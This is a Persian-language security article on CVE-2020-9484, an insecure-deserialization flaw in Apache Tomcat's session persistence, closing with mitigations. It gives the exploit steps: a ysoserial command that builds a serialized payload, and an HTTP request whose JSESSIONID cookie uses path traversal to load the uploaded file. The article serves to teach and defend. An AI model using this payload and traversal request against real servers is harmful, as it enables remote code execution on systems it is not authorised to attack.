بررسی آسیب‌پذیری CVE-2020-9484 در سرورهای Apache Tomcat
مقاله
  • ۳۰ بهمن ۱۴۰۲
  • Learning Road Map
  • ۶ دقیقه خواندن

بررسی آسیب‌پذیری CVE-2020-9484 در سرورهای Apache Tomcat

پیش‌گفتار

تعداد آسیب‌پذیری‌های شناسایی شده از جنس Deserialization در سال‌های اخیر با سرعت به نسبت بالایی رو به رشد بوده به‌گونه‌ای که در طی این مدت، در بسیاری از سرویس‌های تحت وب یا وب سرورهای مختلف شاهد آسیب‌پذیری‌های حیاتی از این نوع بوده‌ایم. طبق فهرست 10 آسیب‌پذیری پر اهمیت که در سال 2020 توسط بنیاد OWASP به انتشار رسیده، آسیب‌پذیری Insecure Deserialization رتبه 8 ام این فهرست را در اختیار داشته که به اهمیت بالای این نوع از آسیب‌پذیری‌ها اشاره دارد. در این مقاله به بررسی یکی از این آسیب‌پذیری‌ها که در ماه‌های اخیر سر و صدای زیادی ایجاد کرد، می‌پردازیم. آسیب‌پذیری حیاتی شناسایی شده در وب سرور Apache Tomcat که بسیاری از سازمان‌ها در سراسر دنیا (و به‌خصوص در ایران) از آن در سرویس‌های تحت وب خود بهره می‌برند. در بخش‌های بعد، ساختار این آسیب‌پذیری، دلایل به وجود آمدن و در نهایت روش برطرف‌سازی آن به طور کامل شرح داده شده است.

پایداری نشست یا Persistence of Session

Session Management همواره یکی از مهم‌ترین موضوعات برای تمام سرویس‌دهندگان آنلاین بوده و از اهمیت فوق‌العاده‌ای برای آن‌ها برخوردار است. به طور معمول اطلاعات مربوط به هر Session  در حافظه‌‌ی سمت سرور، ذخیره می‌شود. بنابراین اگر سرور بنا به نقص فنی و یا reload کردن اپلیکیشن restart شود، بدیهی است که اطلاعات نشست‌ها از بین می‌رود، اما مشکل این‌جاست که این اطلاعات از اهمیت بالایی برخوردار هستند چرا که در صورت پاک شدنشان، دوباره اطلاعات مربوط به هر نشست باید پس از ورود کاربران، مجدد تهیه و تنظیم شود. برای جلوگیری از این اتفاق که منجر به حذف اطلاعات نشست می‌شود، توسعه دهندگان وب اپلیکیشن ها معمولا این اطلاعات را در File System و یا در Database ذخیره می‌کنند. به این فرآیند اصطلاحا پایداری نشست یا Persistence of Session گفته می‌شود. به طور مثال قطعه کد زیر که در فایل context.xml قرار دارد، به منظور ذخیره نمودن نشست در disk استفاده می‌شود. به این صورت که بعد از 15 ثانیه idle بودن، اطلاعات نشست به صورت Serialize شده در disk ذخیره خواهد شد.

<Manager className="org.apache.catalina.session.PersistentManager" maxIdleSwap="15" minIdleSwap="-1">

<Store className="org.apache.catalina.session.FileStore" />

</Manager>

شرح آسیب‌پذیری

حال که با مفهوم پایداری نشست آشنا شدیم، به بررسی و تحلیل آسیب‌پذیری مورد نظر می‌پردازیم. اطلاعات مربوط به نشست که در سمت File System و یا Database ذخیره شده یا به اصطلاح پایدار می‌شوند، در قالب Serialize شده ذخیره خواهند شد. برای این منظور، اغلب از کتابخانه‌های مربوط به Serialize کردن مانند java.io.Serializable استفاده می‌شود. زمانی که در سرورهای Apache یک نشست آغاز می‌شود، در قدم اول Servlet container یک HttpSession برای آن نشست ایجاد کرده و در قدم بعدی، وظیفه‌ی Servlet container است که این اطلاعات را بین حافظه و File System یا Database جابه‌جا کند و در نهایت به پایداری نشست برای وب اپلیکیشن و کاربران دست یابد. در سرورهای Tomcat از دو کلاس زیر برای این هدف استفاده می‌شود:
  • org.apache.catalina.session.StandardManager (به صورت پیش‌فرض از این کلاس استفاده می‌شود)
  • org.apache.catalina.session.PersistenceManager
البته ذکر این نکته مهم و اساسی است که این آسیب‌پذیری در شرایط خاصی اتفاق می‌افتد و این شرایط به صورت خلاصه به شرح زیر است:
  • مهاجم بتواند به محتوا و نام فایلی که در سمت سرور وجود دارد، دسترسی داشته باشد. که معمولا این مورد در خصوص وب اپلیکیشن‌هایی که قابلیت ارسال فایل یا File Uploading دارند، صدق می‌کند. همچنین مهاجم بایستی به وسیله آزمون و خطا یا روش‌های دیگر، دایرکتوری که در آن قرار دارد را حدس بزند و بتواند از پوشه‌های دیگر فراخوانی‌هایی را انجام دهد.
  • سرور به صورتی تنظیم شود که از Persistence Manager استفاده کند و همچنین اطلاعات مربوط به نشست در فایل به وسیله‌ی متد File Store ذخیره شود.
  • Persistence Manager به صورتی تنظیم شود که مهاجم قابلیت ارایه‌ی اشیا یا Object‌ هایی را داشته باشد که در مرحله بعدی توسط سرور Deserialize شوند و یا مقدار session Attribute Value Class Name Filter برابر با null باشد.
  • مهاجم با مکان ذخیره شدن فایل‌های مربوط به هر نشست آشنا باشد و بداند که بر روی کدام دایرکتوری کنترل دارد.
به منظور exploit این آسیب‌پذیری باید تنظیماتی مانند زیر در فایل context.xml قرار داده شده باشد.

<Manager className="org.apache.catalina.session.PersistentManager"

    debug="0"

    saveOnRestart="false"

    maxActiveSession="-1"

    minIdleSwap="-1"

    maxIdleSwap="-1"

    maxIdleBackup="-1">

    <Store className="org.apache.catalina.session.FileStore" directory="../session" />

</Manager>

در قطعه کد بالا یکی از مهم‌ترین تغییرات، مشخص کردن دایرکتوری مربوط به محل ذخیره‌ی فایل است. همچنین همان‌طور که مشخص شده، همه‌ی اطلاعات نشست در همان ابتدا توسط متد File Store ذخیره می‌شود. حال که به وسیله قطعه کد بالا، اطلاعات نشست در سمت سرور ذخیره شده، سرور به وسیله قطعه کد زیر اقدام به load کردن این اطلاعات ذخیره شده خواهد کرد.

public Session load(String id) throws ClassNotFoundException, IOException {

// Open an input stream to the specified pathname, if any

File file = file(id);

Context context = (Context) getManager().getContainer();

FileInputStream fis = null;

ObjectInputStream ois = null;

Loader loader = null;

ClassLoader classLoader = null;

ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();

try {

fis = new FileInputStream(file.getAbsolutePath());

loader = context.getLoader();

ois = getObjectInputStream(fis);

StandardSession session = (StandardSession) manager.createEmptySession();

session.readObjectData(ois);

session.setManager(manager);

return session;

} catch (FileNotFoundException e) {

if (contextLog.isDebugEnabled()) {

contextLog.debug("No persisted data file found");

}

return null;

} finally {

context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);

}

}

private File file(String id) throws IOException {

if (this.directory == null) {

return null;

}

String filename = id + FILE_EXT;

File file = new File(directory(), filename);

return file;

}

در متد load، محتوای فایل ذخیره شده برای انجام فرآیند deserialization با توجه به نام فایل و id به عنوان input اجرا می‌شود. ذکر این نکته لازم است که اگر اقدام به بارگذاری فایلی از دایرکتوری دیگری نمایید، Tomcat به صورت پیش‌فرض دایرکتوری‌ها را فیلتر نمی‌کند (در قسمت آخر شرح آسیب‌پذیری منظور از این قسمت را بهتر متوجه خواهید شد). با توجه به این نکته، اگر شما فایلی را در سرور آپلود کنید، می‌توانید به وسیله‌ی JSESSION آن فایل را فراخوانی کرده و حمله‌ی Insecure Deserialization را با موفقیت انجام دهید. فقط کافیست بدانید که در کدام دایرکتوری هستید! در قسمت آخر، شما باید با استفاده از ابزار کاربردی ysoserial . jar اقدام به تولید یک payload به صورت Serialize شده کنید. برای مثال به دستور زیر توجه کنید:

java -jar ysoserial.jar Commons Collections2 "calc" > / tmp /test.session

حال که فایل test ساخته شده، کافیست تا اقدام به آپلود این فایل در وب سرور هدف کرده و با استفاده از درخواست ساده‌ی زیر، فراخوانی را انجام و اقدام به اجرای کد دل‌خواه خود کنید.

GET /demo/url HTTP/1.1

Host: 127.0.0.1:8080

Cookie: JSESSIONID= ../../../ tmp / test

چگونه این آسیب‌پذیری را برطرف کنیم؟

راه حل‌های مختلفی برای مقابله و برطرف‌سازی این آسیب‌پذیری وجود دارد. برخی از مهم‌ترین این راهکارها به شرح زیر است:
  • اگر از توابع کلاس Persistent Manager در وب سرور خود استفاده می‌کنید، توصیه می‌شود که رویکردی جایگزین برای آن پیدا کنید، چرا که این کلاس ممکن است امنیت سرویس شما را با خطر مواجه کند.
  • اگر در وب اپلیکیشن خود قسمتی برای آپلود فایل دارید، حتما فرمت فایل‌های قابل بازگذاری کنترل و مدیریت شود و اطمینان حاصل کنید که کاربران اجازه‌ی ارسال فایل‌هایی با فرمت jsp یا Session را نداشته باشند.
  • و یک راهکار همیشگی این‌که، اقدام به به‌روزرسانی سرور tomcat خود کنید.